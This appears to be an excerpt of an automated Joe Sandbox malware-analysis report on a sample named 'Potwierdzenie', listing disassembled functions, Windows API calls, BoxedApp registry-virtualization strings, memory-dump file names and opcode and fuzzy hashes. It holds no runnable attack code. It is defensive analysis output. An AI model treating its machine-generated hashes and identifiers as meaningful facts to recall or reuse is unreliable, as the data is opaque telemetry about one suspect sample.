Instruction Fuzzy Hash: 11027C70911606EFCB18DF58C484B59BBB4FF08314F218699E8159B391D772EA86CFE0

Function 0BC33B90 Relevance: 7.9, APIs: 5, Instructions: 377COMMON

Download Yara Rule

APIs

Part of subcall function 0BBF1950: GetCurrentThreadId.KERNEL32 ref: 0BBF1959

ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,?,000000FF,000000FF), ref: 0BC33CC8
ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,00000000,000000FF,?,000000FF,000000FF), ref: 0BC33D9A
ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,00000000,000000FF,?,000000FF,000000FF), ref: 0BC33EC6
ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,00000000,000000FF,?,000000FF,000000FF), ref: 0BC33F59
ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,000000FF), ref: 0BC33FCB

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore$CurrentThread
String ID:
API String ID: 2711043956-0
Opcode ID: f23522efc1bc02075c191241975b125927c09e206ce5290fb8a24bd04ec947f9
Instruction ID: 372fe17c962cc10cb7f86f94682af3d3c6277d4235fe8b2f6ad11ff72267d4da
Opcode Fuzzy Hash: f23522efc1bc02075c191241975b125927c09e206ce5290fb8a24bd04ec947f9
Instruction Fuzzy Hash: 37029D74910246EFCB18CF58D484B95BBB0FF48714F618699E8518B392D371EA86CFE4

Function 0BC32A40 Relevance: 7.9, APIs: 5, Instructions: 373COMMON

Download Yara Rule

APIs

Part of subcall function 0BBF1950: GetCurrentThreadId.KERNEL32 ref: 0BBF1959

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,000000FF,?,?,?,0BCC1688,?,?,?), ref: 0BC32B63
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000000,000000FF,?,000000FF,000000FF,?,?,?,0BCC1688,?,?,?), ref: 0BC32C39
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000000,000000FF,?,000000FF,000000FF,?,?,?,0BCC1688,?,?,?), ref: 0BC32D63
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000000,000000FF,?,000000FF,000000FF,?,?,?,0BCC1688,?,?,?), ref: 0BC32DF5
ReleaseSemaphore.KERNEL32(?,00000001,00000000,0BCC1688,?,?,?), ref: 0BC32E67

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore$CurrentThread
String ID:
API String ID: 2711043956-0
Opcode ID: 6451e0016ba90da680b37b752fff70246af91c7cd94b0c91dc04f97df50d4cc3
Instruction ID: 81b664f91f1f99dd56ef653f3d31df88ce49fb7816124a82932d8aaddfb68b74
Opcode Fuzzy Hash: 6451e0016ba90da680b37b752fff70246af91c7cd94b0c91dc04f97df50d4cc3
Instruction Fuzzy Hash: 8EF13474A11206DFCB18CF58D484BA5BBB4FF08714F608699E8519F392D771EA86CBE0

Function 0BC32600 Relevance: 7.9, APIs: 5, Instructions: 373COMMON

Download Yara Rule

APIs

Part of subcall function 0BBF1950: GetCurrentThreadId.KERNEL32 ref: 0BBF1959

ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,?,000000FF,000000FF), ref: 0BC32723
ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,00000000,000000FF,?,000000FF,000000FF), ref: 0BC327F9
ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,00000000,000000FF,?,000000FF,000000FF), ref: 0BC32923
ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,00000000,000000FF,?,000000FF,000000FF), ref: 0BC329B5
ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,000000FF), ref: 0BC32A27

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore$CurrentThread
String ID:
API String ID: 2711043956-0
Opcode ID: 5be7df521af4adf3cdaeb5f9984c454ac311ebc66ceb53570a39064348fd36ed
Instruction ID: a34e63be67e885933c0a706d20e3e6f228f337af919bf5d6b484f87c7b110bd2
Opcode Fuzzy Hash: 5be7df521af4adf3cdaeb5f9984c454ac311ebc66ceb53570a39064348fd36ed
Instruction Fuzzy Hash: 2AF1147491120AEFCB18CF58C484A65BBB4FF08714F604699E8659F392D771EA86CFE0

Function 0BC00780 Relevance: 7.9, APIs: 5, Instructions: 365COMMON

Download Yara Rule

APIs

Part of subcall function 0BBFE1A0: GetCurrentThreadId.KERNEL32 ref: 0BBFE1AD

Part of subcall function 0BC09A50: ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,?,?,?), ref: 0BC09ABC

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?), ref: 0BC008B5

Part of subcall function 0BC18AF0: ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,?,?), ref: 0BC18C27

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,?), ref: 0BC00968
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000,?,?), ref: 0BC00AA5
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,?), ref: 0BC00B36
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC00BAC

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore$CurrentThread
String ID:
API String ID: 2711043956-0
Opcode ID: b468e9775fa3edfebe47de898414ca1085306849c158bd22a6330b232bf36da7
Instruction ID: c456dad77a0a53b238cea1c79c2232ccd085a3e5236717bac3b61ef11afd2538
Opcode Fuzzy Hash: b468e9775fa3edfebe47de898414ca1085306849c158bd22a6330b232bf36da7
Instruction Fuzzy Hash: ADF15EB4A2120ADFDB14CF54C580B99BBB5FF48324F124299D9199F392C771EA81CF90

Function 0BC8AF70 Relevance: 7.8, APIs: 2, Strings: 3, Instructions: 252COMMON

Download Yara Rule

APIs

Part of subcall function 0BCBE170: GetFullPathNameW.KERNEL32(?,00000001,00000000,00000000,?,0BBFC1C5), ref: 0BCBE19B
Part of subcall function 0BCBE170: memcpy.NTDLL(00000000,00000001,?,00000000,00000000), ref: 0BCBE289

Part of subcall function 0BCC25A0: CreateFileW.KERNEL32(00000118,C0000000,00000003,00000000,0BC8AF9C,00000000,00000000,00000000,?,00000000,?,0BC8AF9F,?,00000118,00000000), ref: 0BCC25D0
Part of subcall function 0BCC25A0: CloseHandle.KERNEL32(?,?,00000000,?,0BC8AF9F,?,00000118,00000000), ref: 0BCC25E5
Part of subcall function 0BCC25A0: GetLastError.KERNEL32(?,00000000), ref: 0BCC25F3

Part of subcall function 0BCC25A0: SetFilePointer.KERNEL32(00000000,00010000,00000000,00000000,?,00000000), ref: 0BCC2634
Part of subcall function 0BCC25A0: SetEndOfFile.KERNEL32(?,?,00000000), ref: 0BCC2642
Part of subcall function 0BCC25A0: memcpy.NTDLL(00000000,-wal,00000000,?,?,?,?,00000000), ref: 0BCC27AE

memcpy.NTDLL(?,?,00000000,00000000,?,00000118,00000000), ref: 0BC8B012
memset.NTDLL ref: 0BC8B09E

Strings

HKEY_CURRENT_USER, xrefs: 0BC8B14A, 0BC8B16A
BXR1, xrefs: 0BC8B080
HKEY_LOCAL_MACHINE, xrefs: 0BC8B1BC, 0BC8B1ED

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Filememcpy$CloseCreateErrorFullHandleLastNamePathPointermemset
String ID: BXR1$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE
API String ID: 2803259019-749878367
Opcode ID: 3cb63379d1357967fc565c05e969c80e06e9c735b6440bb245c440c8383222ba
Instruction ID: 8bfaceb3bdcf03d5addbea7925338199cf2b566014f5fefa2e022714f584947a
Opcode Fuzzy Hash: 3cb63379d1357967fc565c05e969c80e06e9c735b6440bb245c440c8383222ba
Instruction Fuzzy Hash: 5491F4B1960205AFDB01EF50CC85FEE7779AF84714F1040A9ED189F291EB72EA46DB60

Function 0BC96820 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 225COMMON

Download Yara Rule

APIs

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

memcpy.NTDLL(00000000,?,00000000,00000000,00000000,00000000), ref: 0BC9691B

Strings

: warn: a value of prefedinedKeyNode is being asked, going to return S_FALSE, xrefs: 0BC96A3A
core, xrefs: 0BC96A44, 0BC96A89
BoxedApp::Registry::Utils::BxRegTreeToRegTreeAdapter::CKeyNode::FindValue, xrefs: 0BC96A3F, 0BC96A84
: error: both _bxNode and _prefedinedKeyNode are NULL, xrefs: 0BC96A7F

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: FreeHeapReleaseSemaphorememcpy
String ID: : error: both _bxNode and _prefedinedKeyNode are NULL$: warn: a value of prefedinedKeyNode is being asked, going to return S_FALSE$BoxedApp::Registry::Utils::BxRegTreeToRegTreeAdapter::CKeyNode::FindValue$core
API String ID: 1425682516-991515070
Opcode ID: 5334f943726699f33a453dff679fa4f8d1f60ad1bd194378246c6ca9a2d93071
Instruction ID: 0a3768b6ef549e2d79e883bbf5f0682bc68d6d9e1a226e8b5e1f29908f35b512
Opcode Fuzzy Hash: 5334f943726699f33a453dff679fa4f8d1f60ad1bd194378246c6ca9a2d93071
Instruction Fuzzy Hash: 02710531A612159FEB14EF64D84AB7FB7B8AF45700F45407DE845AB280DB70EE01D7A1

Function 0BC88EF0 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 222stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 0BC88FDF

Part of subcall function 0BBFE310: wsprintfA.USER32 ref: 0BBFE33D
Part of subcall function 0BBFE310: memcpy.NTDLL(00000000,00000000,00000001,00000000,00000100), ref: 0BBFE390

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

Part of subcall function 0BBFF510: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,?,0BBF2FC0,00000000,layer/sandbox,BoxedApp::ApiLayer::CAutoForceWriteCopyMode::Init,: TlsAlloc() failed, GetLastError() = ,00000000,0BCCD818), ref: 0BBFF558

Part of subcall function 0BC729E0: memcpy.NTDLL(00000000,0BCCD818,00000000,0000000A,00000000,00000000,?,00000000,0BCCD818), ref: 0BC72A20
Part of subcall function 0BC729E0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0BC72A58

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Strings

8, xrefs: 0BC8909C
core, xrefs: 0BC88F56
: parentNode doesn't support IID_CKeyNode, hr = , xrefs: 0BC88F4C
BoxedApp::Registry::RegistryOnSharedHeap::CValueNode::Create, xrefs: 0BC88F51

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$wsprintf$FileFreeHeapLocalReleaseSemaphoreTimeWritelstrlen
String ID: 8$: parentNode doesn't support IID_CKeyNode, hr = $BoxedApp::Registry::RegistryOnSharedHeap::CValueNode::Create$core
API String ID: 1924767889-3174421607
Opcode ID: 737d1eb6d6dfdd8a06ca358f4e11d8be950aaef6fdcce416414fb6227319f033
Instruction ID: a7d86af646703ef93d4edeb74ad0d98299b85995942964e7a1f567bfa132e4d2
Opcode Fuzzy Hash: 737d1eb6d6dfdd8a06ca358f4e11d8be950aaef6fdcce416414fb6227319f033
Instruction Fuzzy Hash: 9F812070A102159FDF14EFA4C895AAEB7F5EF58714F10816DE815EB381DB749E01CBA0

Function 0BC7CFE0 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 158COMMON

Download Yara Rule

Strings

core, xrefs: 0BC7D137
BoxedApp::Registry::CRegistryLayerOnRegTree::HasRealKeySubKeys, xrefs: 0BC7D132
: NtQueryKey() failed, status = , xrefs: 0BC7D12D
: NtOpenKey() failed, hr = , xrefs: 0BC7D0DE

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID: : NtOpenKey() failed, hr = $: NtQueryKey() failed, status = $BoxedApp::Registry::CRegistryLayerOnRegTree::HasRealKeySubKeys$core
API String ID: 0-1830134393
Opcode ID: 68cfe48da40c628a262caeab538284a1191fdacdfd060ca91cd821b144162099
Instruction ID: a82d3b006d055fe1a5354bbef8a1e1128c72e1778f60024c416166d08b903175
Opcode Fuzzy Hash: 68cfe48da40c628a262caeab538284a1191fdacdfd060ca91cd821b144162099
Instruction Fuzzy Hash: 1951A371AA0214AFDB14FBB0CC96FEE7378EF54610F004179A906AB190DEB0AE45D7A0

Function 0BC90A50 Relevance: 7.6, APIs: 5, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d8363acef9e326ab6c243b504b3ed5df6406e93e98da82127d75a9aba606d6ff
Instruction ID: e75a92a1302e2fe1e805931003e7fcfd985f0418b3dc6c9cc101f2559b1ed00d
Opcode Fuzzy Hash: d8363acef9e326ab6c243b504b3ed5df6406e93e98da82127d75a9aba606d6ff
Instruction Fuzzy Hash: 425165B4921705DFEB30DF21D848B2BB7F5AF44718F144A6CE89697650CB70EA49CBA0

Function 0BC90C10 Relevance: 7.6, APIs: 5, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a2c12f913c61e4be6ceea818391b193578d7991c34cc99b4803795f02b7591af
Instruction ID: e0ef8e3c062984ca61c18d0b6eb4fff338b0992e5e16f38f6b866fcb75997478
Opcode Fuzzy Hash: a2c12f913c61e4be6ceea818391b193578d7991c34cc99b4803795f02b7591af
Instruction Fuzzy Hash: 1D5176B59217059FEB30DF21D848B6BBBF4EF44714F144A2CE89697650CB30EA49CBA0

Function 0BC76E60 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 134stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 0BC76E6E

Part of subcall function 0BBFE310: wsprintfA.USER32 ref: 0BBFE33D
Part of subcall function 0BBFE310: memcpy.NTDLL(00000000,00000000,00000001,00000000,00000100), ref: 0BBFE390

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

Part of subcall function 0BBFF510: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,?,0BBF2FC0,00000000,layer/sandbox,BoxedApp::ApiLayer::CAutoForceWriteCopyMode::Init,: TlsAlloc() failed, GetLastError() = ,00000000,0BCCD818), ref: 0BBFF558

Part of subcall function 0BC729E0: memcpy.NTDLL(00000000,0BCCD818,00000000,0000000A,00000000,00000000,?,00000000,0BCCD818), ref: 0BC72A20
Part of subcall function 0BC729E0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0BC72A58

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Strings

core, xrefs: 0BC76ED5, 0BC76F70
: error: failed to query IMarshal from VariablesValueProvider, hr = , xrefs: 0BC76ECB
: error: IMarshal::GetMarshalSizeMax() of VariablesValueProvider failed, hr = , xrefs: 0BC76F66
BoxedApp::Registry::ReadonlyRegistry::CTree::GetMarshalSizeMax, xrefs: 0BC76ED0, 0BC76F6B

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$wsprintf$FileFreeHeapLocalReleaseSemaphoreTimeWritelstrlen
String ID: : error: IMarshal::GetMarshalSizeMax() of VariablesValueProvider failed, hr = $: error: failed to query IMarshal from VariablesValueProvider, hr = $BoxedApp::Registry::ReadonlyRegistry::CTree::GetMarshalSizeMax$core
API String ID: 1924767889-2686360912
Opcode ID: 0fe8d01936a9f5aa0d4c7357df38a79c57059465d735f47404a72db7791de28b
Instruction ID: f69ec5ad4477b5f0a4aaec5ca39be09d7163d593e7efc84f06b2f5e7374d1674
Opcode Fuzzy Hash: 0fe8d01936a9f5aa0d4c7357df38a79c57059465d735f47404a72db7791de28b
Instruction Fuzzy Hash: 60417D31BA1206AFCB04EF74D856EBE77A9EF54700B048578E806DB250EB31E914DBE0

Function 0BC26D10 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d0d3373bf575dcedbe468bac80637a1bacac8ae50597e12414f2975c64ede1a3
Instruction ID: 374450af6de01240fcef58d4b7b68185869345efbe2a367a8b25c98aa82be092
Opcode Fuzzy Hash: d0d3373bf575dcedbe468bac80637a1bacac8ae50597e12414f2975c64ede1a3
Instruction Fuzzy Hash: 8B517CB4621616AFDB14DF25C884B6AFBF4FF48354F004268E90997B50E774E964CBE0

Function 0BCB6510 Relevance: 7.6, APIs: 5, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49b7f451eaca83bc941ef51108c91f23db8f46b74b2580baeae5597c6f0d6178
Instruction ID: 367d7c7c44fbc87b5fa53678b76a826b0c83b69e2561d934678f6b4b0d391ed4
Opcode Fuzzy Hash: 49b7f451eaca83bc941ef51108c91f23db8f46b74b2580baeae5597c6f0d6178
